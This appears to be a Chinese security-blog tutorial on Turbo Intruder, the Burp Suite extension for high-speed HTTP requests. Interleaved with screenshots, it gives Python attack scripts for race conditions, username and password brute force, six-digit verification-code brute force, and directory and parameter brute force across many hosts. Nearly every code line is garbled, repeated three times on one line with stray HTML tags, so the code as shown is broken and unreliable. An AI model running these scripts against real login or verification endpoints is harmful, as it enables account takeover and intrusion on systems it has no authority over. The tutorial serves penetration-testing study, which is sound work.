![图片[1]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203393.png)
-
快速 -Turbo Intruder 使用了一个重写的 HTTP 栈 ,用于提升速度。在许多目标上,它甚至可能超过流行的异步 Go 脚本。 -
可扩展 -Turbo Intruder 运行时使用很少的内存,从而可以连续运行几天。同时可以脱离 burpsuite 在命令行下使用。 -
灵活 – Turbo Intruder 的攻击是使用 Python 配置的。这样可以处理复杂的要求,例如签名的请求和多步攻击序列。此外,自定义 HTTP 栈意味着它可以处理其他库无法处理的畸形格式请求。 -
方便 – 它的结果可以通过 Backslash Powered Scanner 的高级差异算法自动过滤。这意味着您可以单击两次即可发起攻击并获得有用的结果。
![图片[2]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203393.jpg)
![图片[3]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203394.jpg)
![图片[4]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203395.jpg)
![图片[5]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-15852033951.jpg)
![图片[6]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203396.jpg)
![图片[7]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203397.jpg)
![图片[8]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203398.jpg)
![图片[9]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-15852033981.jpg)
我们来看看上面的 Python 代码做了什么:
# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):def queueRequests(target, wordlists):def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,engine = RequestEngine(endpoint=target.endpoint,engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,concurrentConnections=5,concurrentConnections=5,
requestsPerConnection=100,requestsPerConnection=100,requestsPerConnection=100,
pipeline=Falsepipeline=Falsepipeline=False
)))
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
for i in range(3, 8):for i in range(3, 8):for i in range(3, 8):
engine.queue(target.req, randstr(i), learn=1)engine.queue(target.req, randstr(i), learn=1)engine.queue(target.req, randstr(i), learn=1)
engine.queue(target.req, target.baseInput, learn=2)engine.queue(target.req, target.baseInput, learn=2)engine.queue(target.req, target.baseInput, learn=2)
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
for word in open('/usr/share/dict/words'):for word in open('/usr/share/dict/words'):for word in open('/usr/share/dict/words'):
engine.queue(target.req, word.rstrip())engine.queue(target.req, word.rstrip())engine.queue(target.req, word.rstrip())
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def handleResponse(req, interesting):def handleResponse(req, interesting):def handleResponse(req, interesting):
if interesting:if interesting:if interesting:
table.add(req)table.add(req)table.add(req)
![图片[10]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203399.jpg)
![图片[11]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203400.jpg)
![图片[12]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203401.jpg)
![图片[13]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-15852034011.jpg)
![图片[14]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203402.jpg)
![图片[15]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203403.jpg)
![图片[16]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203404.jpg)
![图片[17]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-15852034041.jpg)
![图片[18]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203405.jpg)
先下看看代码:
def queueRequests(target, wordlists):def queueRequests(target, wordlists):def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,engine = RequestEngine(endpoint=target.endpoint,engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,concurrentConnections=30,concurrentConnections=30,
requestsPerConnection=100,requestsPerConnection=100,requestsPerConnection=100,
pipeline=Falsepipeline=Falsepipeline=False
)))
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
# the 'gate' argument blocks the final byte of each request until openGate is invoked# the 'gate' argument blocks the final byte of each request until openGate is invoked# the 'gate' argument blocks the final byte of each request until openGate is invoked
for i in range(30):for i in range(30):for i in range(30):
engine.queue(target.req, target.baseInput, gate='race1')engine.queue(target.req, target.baseInput, gate='race1')engine.queue(target.req, target.baseInput, gate='race1')
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
# wait until every 'race1' tagged request is ready# wait until every 'race1' tagged request is ready# wait until every 'race1' tagged request is ready
# then send the final byte of each request# then send the final byte of each request# then send the final byte of each request
# (this method is non-blocking, just like queue)# (this method is non-blocking, just like queue)# (this method is non-blocking, just like queue)
engine.openGate('race1')engine.openGate('race1')engine.openGate('race1')
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
engine.complete(timeout=60)engine.complete(timeout=60)engine.complete(timeout=60)
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def handleResponse(req, interesting):def handleResponse(req, interesting):def handleResponse(req, interesting):
table.add(req)table.add(req)table.add(req)
![图片[19]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203406.jpg)
![图片[20]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203407.jpg)
from urllib import quotefrom urllib import quotefrom urllib import quote
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def password_brute(target,engine):def password_brute(target,engine):def password_brute(target,engine):
for word in open('/Users/mac/safe/web/brute/mypass.txt'):for word in open('/Users/mac/safe/web/brute/mypass.txt'):for word in open('/Users/mac/safe/web/brute/mypass.txt'):
engine.queue(target.req, quote(word.rstrip()))engine.queue(target.req, quote(word.rstrip()))engine.queue(target.req, quote(word.rstrip()))
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def user_brute(target,engine):def user_brute(target,engine):def user_brute(target,engine):
for word in open('/Users/mac/safe/web/brute/myuser.txt'):for word in open('/Users/mac/safe/web/brute/myuser.txt'):for word in open('/Users/mac/safe/web/brute/myuser.txt'):
engine.queue(target.req, quote(word.rstrip()))engine.queue(target.req, quote(word.rstrip()))engine.queue(target.req, quote(word.rstrip()))
def user_password_brute(target, engine):def user_password_brute(target, engine):def user_password_brute(target, engine):
for password in open('/Users/mac/safe/web/brute/passwordtop100.txt'):for password in open('/Users/mac/safe/web/brute/passwordtop100.txt'):for password in open('/Users/mac/safe/web/brute/passwordtop100.txt'):
for user in open('/Users/mac/safe/web/brute/usertop100.txt'):for user in open('/Users/mac/safe/web/brute/usertop100.txt'):for user in open('/Users/mac/safe/web/brute/usertop100.txt'):
engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def queueRequests(target, wordlists):def queueRequests(target, wordlists):def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,engine = RequestEngine(endpoint=target.endpoint,engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,concurrentConnections=30,concurrentConnections=30,
requestsPerConnection=100,requestsPerConnection=100,requestsPerConnection=100,
pipeline=Falsepipeline=Falsepipeline=False
)))
#user_brute(target,engine)#user_brute(target,engine)#user_brute(target,engine)
#password_brute(target,engine)#password_brute(target,engine)#password_brute(target,engine)
user_password_brute(target,engine)user_password_brute(target,engine)user_password_brute(target,engine)
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def handleResponse(req, interesting):def handleResponse(req, interesting):def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response# currently available attributes are req.status, req.wordcount, req.length and req.response# currently available attributes are req.status, req.wordcount, req.length and req.response
if req.status == 302:if req.status == 302:if req.status == 302:
table.add(req)table.add(req)table.add(req)
![图片[21]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-15852034071.jpg)
![图片[22]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203408.jpg)
from itertools import productfrom itertools import productfrom itertools import product
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def brute_veify_code(target, engine, length):def brute_veify_code(target, engine, length):def brute_veify_code(target, engine, length):
pattern = '1234567890'pattern = '1234567890'pattern = '1234567890'
for i in list(product(pattern, repeat=length)):for i in list(product(pattern, repeat=length)):for i in list(product(pattern, repeat=length)):
code = ''.join(i)code = ''.join(i)code = ''.join(i)
engine.queue(target.req, code)engine.queue(target.req, code)engine.queue(target.req, code)
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def queueRequests(target, wordlists):def queueRequests(target, wordlists):def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,engine = RequestEngine(endpoint=target.endpoint,engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,concurrentConnections=30,concurrentConnections=30,
requestsPerConnection=100,requestsPerConnection=100,requestsPerConnection=100,
pipeline=Truepipeline=Truepipeline=True
)))
brute_veify_code(target, engine, 6)brute_veify_code(target, engine, 6)brute_veify_code(target, engine, 6)
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def handleResponse(req, interesting):def handleResponse(req, interesting):def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response# currently available attributes are req.status, req.wordcount, req.length and req.response# currently available attributes are req.status, req.wordcount, req.length and req.response
if 'error' not in req.response:if 'error' not in req.response:if 'error' not in req.response:
table.add(req)table.add(req)table.add(req)
![图片[23]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203409.jpg)
def mult_host_dir_brute():def mult_host_dir_brute():def mult_host_dir_brute():
req = '''GET /%s HTTP/1.1req = '''GET /%s HTTP/1.1req = '''GET /%s HTTP/1.1
Host: %sHost: %sHost: %s
Connection: keep-aliveConnection: keep-aliveConnection: keep-alive
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
'''''''''
engines = {}engines = {}engines = {}
for url in open('/Users/mac/temp/urls.txt'):for url in open('/Users/mac/temp/urls.txt'):for url in open('/Users/mac/temp/urls.txt'):
url = url.rstrip()url = url.rstrip()url = url.rstrip()
engine = RequestEngine(endpoint=url,engine = RequestEngine(endpoint=url,engine = RequestEngine(endpoint=url,
concurrentConnections=5,concurrentConnections=5,concurrentConnections=5,
requestsPerConnection=100,requestsPerConnection=100,requestsPerConnection=100,
pipeline=True)pipeline=True)pipeline=True)
engines[url] = engineengines[url] = engineengines[url] = engine
for word in open('/Users/mac/safe/web/brute/all.txt'):for word in open('/Users/mac/safe/web/brute/all.txt'):for word in open('/Users/mac/safe/web/brute/all.txt'):
word = word.rstrip()word = word.rstrip()word = word.rstrip()
for (url, engine) in engines.items():for (url, engine) in engines.items():for (url, engine) in engines.items():
domain = url.split('/')[2]domain = url.split('/')[2]domain = url.split('/')[2]
engine.queue(req, [word, domain])engine.queue(req, [word, domain])engine.queue(req, [word, domain])
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def queueRequests(target, wordlists):def queueRequests(target, wordlists):def queueRequests(target, wordlists):
mult_host_dir_brute()mult_host_dir_brute()mult_host_dir_brute()
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def handleResponse(req, interesting):def handleResponse(req, interesting):def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response# currently available attributes are req.status, req.wordcount, req.length and req.response# currently available attributes are req.status, req.wordcount, req.length and req.response
if req.status != 404:if req.status != 404:if req.status != 404:
table.add(req)table.add(req)table.add(req)
https://www.baidu.com http://172.16.108.176
![图片[24]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203410.jpg)
![图片[25]-Turbo Intruder 使用 – 拥抱十亿请求攻击-Pikachu Hacker](https://blog.x8s.pw/proxy.php?url=https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-126527-1585203411.jpg)
from urllib import quotefrom urllib import quotefrom urllib import quote
from itertools import productfrom itertools import productfrom itertools import product
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def concurrency(target,engine):def concurrency(target,engine):def concurrency(target,engine):
# the 'gate' argument blocks the final byte of each request until openGate is invoked# the 'gate' argument blocks the final byte of each request until openGate is invoked# the 'gate' argument blocks the final byte of each request until openGate is invoked
for i in range(30):for i in range(30):for i in range(30):
engine.queue(target.req, gate='race1')engine.queue(target.req, gate='race1')engine.queue(target.req, gate='race1')
# wait until every 'race1' tagged request is ready# wait until every 'race1' tagged request is ready# wait until every 'race1' tagged request is ready
# then send the final byte of each request# then send the final byte of each request# then send the final byte of each request
# (this method is non-blocking, just like queue)# (this method is non-blocking, just like queue)# (this method is non-blocking, just like queue)
engine.openGate('race1')engine.openGate('race1')engine.openGate('race1')
engine.complete(timeout=60)engine.complete(timeout=60)engine.complete(timeout=60)
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def parameter_brute(target,engine):def parameter_brute(target,engine):def parameter_brute(target,engine):
for word in open('/Users/mac/safe/web/brute/AllParam.txt'):for word in open('/Users/mac/safe/web/brute/AllParam.txt'):for word in open('/Users/mac/safe/web/brute/AllParam.txt'):
engine.queue(target.req, word.rstrip())engine.queue(target.req, word.rstrip())engine.queue(target.req, word.rstrip())
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def dir_brute(target, engine):def dir_brute(target, engine):def dir_brute(target, engine):
for word in open('/Users/mac/safe/web/brute/dir_scan/all_dir.txt'):for word in open('/Users/mac/safe/web/brute/dir_scan/all_dir.txt'):for word in open('/Users/mac/safe/web/brute/dir_scan/all_dir.txt'):
#for word in open('/Users/mac/safe/web/brute/all.txt'):#for word in open('/Users/mac/safe/web/brute/all.txt'):#for word in open('/Users/mac/safe/web/brute/all.txt'):
engine.queue(target.req, word.rstrip())engine.queue(target.req, word.rstrip())engine.queue(target.req, word.rstrip())
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def mult_host_dir_brute():def mult_host_dir_brute():def mult_host_dir_brute():
req = '''GET /%s HTTP/1.1req = '''GET /%s HTTP/1.1req = '''GET /%s HTTP/1.1
Host: %sHost: %sHost: %s
Connection: keep-aliveConnection: keep-aliveConnection: keep-alive
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
'''''''''
engines = {}engines = {}engines = {}
for url in open('/Users/mac/temp/urls.txt'):for url in open('/Users/mac/temp/urls.txt'):for url in open('/Users/mac/temp/urls.txt'):
url = url.rstrip()url = url.rstrip()url = url.rstrip()
engine = RequestEngine(endpoint=url,engine = RequestEngine(endpoint=url,engine = RequestEngine(endpoint=url,
concurrentConnections=5,concurrentConnections=5,concurrentConnections=5,
requestsPerConnection=100,requestsPerConnection=100,requestsPerConnection=100,
pipeline=True)pipeline=True)pipeline=True)
engines[url] = engineengines[url] = engineengines[url] = engine
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
for word in open('/Users/mac/safe/web/brute/all.txt'):for word in open('/Users/mac/safe/web/brute/all.txt'):for word in open('/Users/mac/safe/web/brute/all.txt'):
word = word.rstrip()word = word.rstrip()word = word.rstrip()
for (url, engine) in engines.items():for (url, engine) in engines.items():for (url, engine) in engines.items():
domain = url.split('/')[2]domain = url.split('/')[2]domain = url.split('/')[2]
engine.queue(req, [word, domain])engine.queue(req, [word, domain])engine.queue(req, [word, domain])
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def password_brute(target,engine):def password_brute(target,engine):def password_brute(target,engine):
for word in open('/Users/mac/safe/web/brute/mypass.txt'):for word in open('/Users/mac/safe/web/brute/mypass.txt'):for word in open('/Users/mac/safe/web/brute/mypass.txt'):
engine.queue(target.req, quote(word.rstrip()))engine.queue(target.req, quote(word.rstrip()))engine.queue(target.req, quote(word.rstrip()))
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def user_brute(target,engine):def user_brute(target,engine):def user_brute(target,engine):
for word in open('/Users/mac/safe/web/brute/myuser.txt'):for word in open('/Users/mac/safe/web/brute/myuser.txt'):for word in open('/Users/mac/safe/web/brute/myuser.txt'):
engine.queue(target.req, quote(word.rstrip()))engine.queue(target.req, quote(word.rstrip()))engine.queue(target.req, quote(word.rstrip()))
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def user_password_brute(target, engine):def user_password_brute(target, engine):def user_password_brute(target, engine):
for password in open('/Users/mac/safe/web/brute/passwordtop100.txt'):for password in open('/Users/mac/safe/web/brute/passwordtop100.txt'):for password in open('/Users/mac/safe/web/brute/passwordtop100.txt'):
for user in open('/Users/mac/safe/web/brute/usertop100.txt'):for user in open('/Users/mac/safe/web/brute/usertop100.txt'):for user in open('/Users/mac/safe/web/brute/usertop100.txt'):
engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])
def brute_veify_code(target, engine, length):def brute_veify_code(target, engine, length):def brute_veify_code(target, engine, length):
# pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'# pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'# pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
pattern = '1234567890'pattern = '1234567890'pattern = '1234567890'
for i in list(product(pattern, repeat=length)):for i in list(product(pattern, repeat=length)):for i in list(product(pattern, repeat=length)):
code = ''.join(i)code = ''.join(i)code = ''.join(i)
engine.queue(target.req, code)engine.queue(target.req, code)engine.queue(target.req, code)
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
<br style="padding: 0px;max-width: 1000%"><br style="padding: 0px;max-width: 1000%">
def queueRequests(target, wordlists):def queueRequests(target, wordlists):def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,engine = RequestEngine(endpoint=target.endpoint,engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,concurrentConnections=30,concurrentConnections=30,
requestsPerConnection=100,requestsPerConnection=100,requestsPerConnection=100,
pipeline=Truepipeline=Truepipeline=True
)))
#brute_veify_code(target, engine, 5)#brute_veify_code(target, engine, 5)#brute_veify_code(target, engine, 5)
dir_brute(target, engine)dir_brute(target, engine)dir_brute(target, engine)
#user_brute(target,engine)#user_brute(target,engine)#user_brute(target,engine)
#concurrency(target,engine)#concurrency(target,engine)#concurrency(target,engine)
#password_brute(target,engine)#password_brute(target,engine)#password_brute(target,engine)
#user_password_brute(target,engine)#user_password_brute(target,engine)#user_password_brute(target,engine)
#mult_host_dir_brute()#mult_host_dir_brute()#mult_host_dir_brute()
def handleResponse(req, interesting):def handleResponse(req, interesting):def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response# currently available attributes are req.status, req.wordcount, req.length and req.response# currently available attributes are req.status, req.wordcount, req.length and req.response
if req.status != 404 and req.status != 302:if req.status != 404 and req.status != 302:if req.status != 404 and req.status != 302:
#if req.wordcount != 1197 and req.wordcount != 1196:#if req.wordcount != 1197 and req.wordcount != 1196:#if req.wordcount != 1197 and req.wordcount != 1196:
#if 'success' in req.response:#if 'success' in req.response:#if 'success' in req.response:
#if req.length == 461:#if req.length == 461:#if req.length == 461:
#if interesting:#if interesting:#if interesting:
table.add(req)table.add(req)table.add(req)
本文作者:timeshatter
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/126527.html
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容